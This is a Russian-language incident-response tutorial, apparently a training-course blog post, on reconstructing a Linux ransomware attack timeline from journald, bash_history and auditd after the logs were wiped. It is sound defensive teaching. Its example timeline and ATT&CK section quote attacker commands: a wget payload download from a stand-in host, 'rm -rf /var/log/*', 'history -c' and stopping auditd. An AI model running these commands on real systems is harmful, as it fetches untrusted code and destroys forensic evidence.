Перейти к содержимому

Восстановление таймлайна атаки Linux: DFIR-расследование после очистки логов шифровальщиком

Восстановление таймлайна атаки Linux: DFIR-расследование после очистки логов шифровальщиком
Время чтения: 12 мин.

На трёх из пяти последних расследований шифровальщиков на продовых Linux-серверах атакующий первым делом зачищал следы — удалял содержимое /var/log/, обнулял journald и стирал .bash_history. Mandiant M-Trends 2025 (данные за 2024 год) даёт медиану присутствия злоумышленника в сети до обнаружения — 11 дней, а 23% расследований связаны с шифровальщиками. За эти дни оператор успевает не только развернуть payload (полезную нагрузку — файл, который выполняет шифрование), но и методично уничтожить следы. Восстановление таймлайна атаки Linux DFIR-методами в таких условиях — не магия, а системная работа с артефактами, которые переживают зачистку. Ниже — пошаговый процесс, проверенный на реальных инцидентах.

Зачем шифровальщику чистить логи на Linux-сервере

Атакующий удаляет логи по одной причине: затруднить определение точки входа и масштаба компрометации. Если DFIR-команда (DFIR — Digital Forensics & Incident Response, цифровая криминалистика и реагирование на инциденты) не может восстановить хронологию — непонятно, какие системы скомпрометированы, какие учётные данные утекли и нужно ли перестраивать инфраструктуру целиком.

В терминологии MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1070 — идентификаторы конкретных техник в этой базе) зачистка следов на Linux описывается тремя подтехниками T1070 — Indicator Removal:

  • T1070.002 — Clear Linux or Mac System Logs (очистка системных логов): удаление файлов в /var/log/, очистка journald через journalctl --vacuum-*, обнуление syslog
  • T1070.003 — Clear Command History (очистка истории команд): удаление .bash_history, выполнение history -c, установка HISTSIZE=0
  • T1562.012 — Disable or Modify Linux Audit System (отключение аудита): остановка auditd через systemctl stop auditd, сброс правил через auditctl -D, удаление логов из /var/log/audit/

Типичная kill chain (цепочка атаки от начала до конца) шифровальщика на Linux-сервере: начальный доступ через SSH с украденными или подобранными учётными данными (T1021.004 — SSH, тактика lateral movement; для начального доступа через SSH также применима T1078 — Valid Accounts) или через эксплуатацию публичного сервиса (T1190 — Exploit Public-Facing Application) → разведка и подготовка → отключение защит и зачистка логов → шифрование файлов (T1486 — Data Encrypted for Impact). IBM X-Force Threat Intelligence Index 2025 фиксирует рост атак с использованием действительных учётных данных на 71% за год — SSH brute force и украденные ключи остаются основным вектором для Linux-целей.

Зачем понимать эту цепочку до начала расследования: тип начального доступа определяет, какие артефакты искать. Брутфорс SSH оставляет характерные записи в auth.log и journald (массовые «Failed password»), а эксплуатация веб-приложения — в access.log и, возможно, WAF-логах. Начинающему аналитику легко потратить часы на поиск не в тех источниках, если не определить вектор в самом начале.

Три источника артефактов для расследования на DFIR Linux сервере

Атакующий может удалить текстовые лог-файлы простым rm. Но три категории артефактов систематически переживают поверхностную зачистку — на них строится восстановление удалённых логов journalctl и общая хронология.

Поиск следов атаки в systemd journal

journald — демон логирования в systemd — хранит журналы в бинарном формате в каталоге /var/log/journal/<machine-id>/. Принципиальное отличие от текстовых логов: бинарные файлы сложнее удалить бесследно. Даже если атакующий выполнил rm -rf /var/log/journal/*, при работающем systemd-journald процесс продолжает держать открытые файловые дескрипторы на удалённые файлы. Пока процесс не перезапущен — данные физически остаются на диске и доступны через /proc/<PID>/fd/.

Если journald настроен на persistent storage (параметр Storage=persistent в /etc/systemd/journald.conf), журналы переживут перезагрузку. Но вот неприятный момент: многие серверные дистрибутивы (Ubuntu Server, RHEL, Rocky Linux) по умолчанию используют volatile storage — журналы живут только в RAM и умирают при ребуте. Это одна из главных причин потери данных при расследовании, и узнают об этом обычно в самый неподходящий момент.

Анализ bash_history при атаке на сервер

.bash_history — файл в домашнем каталоге пользователя, куда записывается история команд. По нему видно, что именно делал атакующий: загрузку payload через curl или wget, перемещение по файловой системе, запуск шифровальщика. В MITRE ATT&CK сбор учётных данных из истории команд описан как T1552.003 — Shell History (тактика credential access), заменившая устаревшую T1139 — Bash History и покрывающая извлечение секретов из истории любых оболочек. Для DFIR-аналитика .bash_history ценен по той же причине, по которой атакующий в неё заглядывает: там могут быть пароли, ключи и другие чувствительные данные, случайно оставленные администратором.

Атакующий обычно выполняет history -c && rm ~/.bash_history перед выходом. Но bash записывает историю в файл только при штатном завершении сессии. Если сессия была оборвана (kill, разрыв соединения) или параллельно работает другая сессия того же пользователя — часть истории может сохраниться в буфере процесса bash или вовсе остаться незатронутой. Атакующие об этом знают, но не всегда контролируют.

auditd — анализ аудита при расследовании инцидента

auditd (Linux Audit daemon) — подсистема аудита на уровне ядра. В отличие от journald, который логирует события приложений и сервисов, auditd фиксирует системные вызовы: какой процесс открыл файл, выполнил exec, изменил права. Логи хранятся в /var/log/audit/audit.log.

Если auditd был настроен до инцидента, его записи содержат полную картину действий атакующего на уровне ядра. Даже после удаления audit.log ротированные копии (audit.log.1, audit.log.2.gz) могут уцелеть — особенно если в /etc/audit/auditd.conf установлен max_log_file_action = rotate.

Ограничение, о котором нужно помнить сразу: если auditd не был установлен или настроен до инцидента — этого источника данных просто нет. Установка auditd после компрометации не восстановит прошлые события. Это как камера видеонаблюдения, которую повесили после ограбления.

Пошаговое восстановление таймлайна атаки на Linux-сервере

Ниже — процесс, который применяется на реальных расследованиях. Каждый шаг — одно действие с объяснением результата и признаков успеха.

Требования к окружению: доступ к скомпрометированному серверу с правами root или sudo; ОС — любой systemd-based дистрибутив (Ubuntu 18.04+, RHEL/CentOS 7+, Debian 9+). Для восстановления удалённых файлов с диска — extundelete (для ext3/ext4) или debugfs, устанавливаются из стандартных репозиториев. RAM сервера для самого анализа не критичен, но при снятии дампа памяти потребуется свободное место на внешнем носителе, равное объёму RAM. Работайте НЕ от учётной записи, которую использовал атакующий — иначе затрёте оставшиеся артефакты.

Шаг 1 — оценка ущерба: что осталось от логов

Прежде чем восстанавливать — нужно понять масштаб зачистки. Выполните ls -la /var/log/ и обратите внимание на размеры файлов. Если auth.log, syslog, kern.log имеют размер 0 байт или отсутствуют — атакующий их обнулил или удалил. Проверьте ротированные копии командой ls -la /var/log/*.gz — часто атакующий удаляет текущие логи, но забывает об архивных. На практике это встречается чаще, чем хотелось бы думать: оператор шифровальщика работает по скрипту и не всегда проверяет результат.

Для journald выполните проверку целостности:

# Проверить внутреннюю consistency журналов (hash chain) — PASS/FAIL для каждого файла.
# NB: обнаружение подмены данных атакующим требует Forward Secure Sealing
# (journalctl --setup-keys), который редко настроен заранее.
journalctl --verify
# Список доступных загрузок системы
journalctl --list-boots
# Проверить наличие persistent-хранилища
ls -la /var/log/journal/

Что ожидать: journalctl --verify выводит PASS или FAIL для каждого journal-файла. Пустой каталог /var/log/journal/ означает, что persistent storage не настроен или журналы удалены. Команда --list-boots показывает, за какие периоды доступны записи; если видите только текущую загрузку (-0) — предыдущие журналы потеряны или ещё не восстановлены.

Шаг 2 — восстановление удалённых журналов journalctl

Если journald-процесс не перезапускался после удаления файлов (а при штатной работе сервера он не перезапускается), удалённые журналы физически всё ещё на диске — процесс держит открытые файловые дескрипторы.

# Узнать PID процесса systemd-journald
pidof systemd-journald
# Искать удалённые, но открытые файлы (пометка '(deleted)')
ls -la /proc/$(pidof systemd-journald)/fd/ | grep deleted
# Скопировать содержимое удалённого файла (замените <FD> на номер)
cp /proc/$(pidof systemd-journald)/fd/<FD> /tmp/recovered.journal
# Прочитать восстановленный журнал
journalctl --file=/tmp/recovered.journal --no-pager

В выводе ls вы увидите символические ссылки с пометкой (deleted) — это удалённые, но открытые файлы. После копирования journalctl --file позволяет прочитать восстановленный журнал с фильтрацией по времени (--since, --until), сервису (-u sshd) и приоритету (-p err).

Когда это НЕ работает: если сервер был перезагружен после зачистки — дескрипторы закрыты, данные потеряны из /proc. Остаётся восстановление через debugfs или extundelete напрямую с блочного устройства, но это требует размонтирования раздела или работы с образом диска — отдельная процедура форензики файловой системы. И она сильно менее надёжна.

Шаг 3 — извлечение bash_history и auditd-записей

bash_history: проверьте домашние каталоги всех пользователей, включая root: find /home /root -name ".bash_history" -exec ls -la {} \;. Обратите внимание на mtime файла (время последней модификации) — если оно совпадает с предполагаемым временем атаки, файл мог быть перезаписан. Если файл пуст — проверьте, нет ли активных bash-сессий: ps aux | grep bash. Для живого процесса bash с конкретным PID можно снять дамп памяти через gcore <PID> (из пакета gdb) и затем выполнить strings core.<PID> — в памяти процесса могут находиться фрагменты истории команд, которые не были записаны в файл. Прямой вызов strings /proc/<PID>/mem завершается ошибкой I/O, так как файл не поддерживает последовательное чтение — нужно парсить /proc/<PID>/maps и читать по офсетам конкретных VMA-регионов.

auditd: если демон аудита работал, проверьте наличие логов командой ls -la /var/log/audit/. Ищите ключевые события через ausearch и aureport:

# Все запуски программ за период атаки (замените даты)
ausearch --start 01/15/2025 --end 01/16/2025 -m EXECVE --interpret
# События удаления файлов (если было правило с ключом log_deletion)
ausearch -k log_deletion --interpret
# Сводка по аутентификации за период
aureport -au --start 01/15/2025 --end 01/16/2025

ausearch -m EXECVE покажет каждый запуск программы с аргументами — здесь видно, вызывал ли атакующий curl для загрузки payload, chmod +x для установки прав, запуск шифровальщика. Флаг --interpret преобразует числовые ID в читаемые имена пользователей. aureport -au даёт сводную таблицу успешных и неудачных аутентификаций — функциональный аналог auth.log, но из аудит-подсистемы ядра.

Ограничение: по умолчанию auditd не записывает EXECVE-события. Для их фиксации нужно заранее добавленное правило вида auditctl -a always,exit -F arch=b64 -S execve -k exec_log. Не было правила до инцидента — EXECVE-записей в логах не окажется.

Корреляция артефактов: от разрозненных следов к анализу атаки шифровальщика на сервере

Каждый источник даёт фрагмент картины. Таймлайн строится корреляцией по временным меткам. На практике процесс выглядит так:

  1. journald (sshd) фиксирует момент входа атакующего: IP-адрес, имя пользователя, метод аутентификации. Фильтр из восстановленного файла: journalctl --file=/tmp/recovered.journal -u sshd --since "2025-01-15" --until "2025-01-16".
  2. bash_history показывает последовательность команд после входа. Характерный паттерн для Linux-шифровальщиков: загрузка через wget или curl, chmod +x, запуск с nohup, затем зачистка.
  3. auditd фиксирует системные вызовы, которые bash_history не покрывает: какие файлы открывал payload, какие процессы порождал, с какими привилегиями работал.
  4. Файловая системаstat на подозрительных файлах показывает atime/mtime/ctime (время доступа, модификации и смены метаданных). Команда find / -newer /tmp/reference_file -not -path "/proc/*" -not -path "/sys/*" находит все файлы, изменённые после определённой временной точки.

Результат корреляции — единая таблица «время → событие → источник», отсортированная хронологически. Пример упрощённого таймлайна:

Время (UTC) Событие Источник
02:14 Первая неудачная SSH-аутентификация с IP 203.0.113.42 journald (sshd)
02:14–02:31 847 неудачных попыток входа (брутфорс) journald (sshd)
02:31 Успешный вход пользователя deploy journald (sshd)
02:32 wget http://198.51.100.7/enc -O /tmp/.svc bash_history
02:32 chmod +x /tmp/.svc auditd (EXECVE)
02:33 Запуск /tmp/.svc --dir /srv/data bash_history + auditd
02:33–02:58 Массовое изменение mtime файлов в /srv/data/ файловая система
02:59 rm -rf /var/log/* && history -c auditd (EXECVE)

17 минут от первой попытки брутфорса до начала зачистки, 25 минут на шифрование. Вся атака уложилась в 45 минут — и без восстановленных артефактов мы бы знали только то, что файлы зашифрованы.

Для построения более продвинутых таймлайнов существуют Plaso (log2timeline) и Timesketch — они автоматически парсят десятки форматов артефактов и строят единую хронологию. Но базовый ручной процесс, описанный выше, работает на любом сервере без дополнительного ПО. Начинайте с ручного — автоматизация придёт, когда поймёте, что именно ищете.

Реагирование на инциденты Linux: hardening логирования

Восстанавливать таймлайн из обрывков — вынужденная мера. Правильный подход — настроить инфраструктуру заранее, чтобы атакующий не мог уничтожить критические артефакты.

Чеклист для администратора:

  1. Persistent journald: установить Storage=persistent в /etc/systemd/journald.conf и выполнить systemctl restart systemd-journald. Журналы переживут перезагрузку. Противодействует T1070.002.
  2. Централизация логов: настроить пересылку на удалённый сервер (rsyslog, syslog-ng или Vector). Атакующий может удалить локальные логи, но не добраться до отдельного лог-сервера. Это закрывает рекомендацию OWASP A09:2021 (Security Logging and Monitoring Failures — без логирования инциденты не могут быть обнаружены).
  3. auditd с правилами: установить и активировать auditd с набором правил: аудит execve (запуск программ), аудит изменений в /var/log/ (ключ log_deletion), аудит изменений crontab (cron-задачи — один из типичных приёмов persistence). Правила хранятся в /etc/audit/rules.d/ и применяются через augenrules --load. Противодействует T1562.012.
  4. Immutable auditd: параметр -e 2 делает правила аудита неизменяемыми до перезагрузки — root не сможет изменить или удалить правила через auditctl. Это не предотвращает остановку самого процесса auditd (например, через kill -9), поэтому дополнительно стоит настроить Restart=always в юните systemd и внешний мониторинг процесса.
  5. Защита bash_history: добавить в /etc/profile.d/history.sh строки HISTTIMEFORMAT="%F %T " (timestamp к каждой команде) и shopt -s histappend (предотвращает перезапись при параллельных сессиях). Противодействует T1070.003.

По нашему опыту, на большинстве серверов, попадавших в расследования за последние два года, journald работал в volatile-режиме, auditd не был настроен, а bash_history перезаписывалась при каждом логине из-за отсутствия histappend. Конфигурация по умолчанию в большинстве дистрибутивов — это anti-forensics by design: volatile journald теряет всё при перезагрузке, auditd без правил не пишет ничего полезного, история команд не содержит timestamp-ов и затирается параллельными сессиями.

RHEL 9 STIG (Security Technical Implementation Guide от DISA — чеклист требований безопасности для серверов) прямо требует persistent journald, настроенный auditd и централизацию логов. На практике этим требованиям соответствуют единицы — и то в организациях с выстроенным комплаенсом по ФЗ-187 или отраслевыми стандартами. Остальные узнают о проблеме, когда DFIR-инженер приходит на разбор и обнаруживает, что анализировать нечего.

Когда после инцидента приходится вытягивать данные из inode и открытых файловых дескрипторов — это не героизм, а компенсация пропущенной настройки, которая заняла бы 20 минут. Пять пунктов из чеклиста выше превращают сервер из «чёрного ящика» в систему с полной наблюдаемостью. Если переходишь в ИБ из IT и нужна структура — IB Basics закрывает базу за пару месяцев, без воды.

Эту тему и смежные навыки разбирают на практике в курсе «Цифровая криминалистика и реагирование на инциденты (DFIR)» Codeby Academy.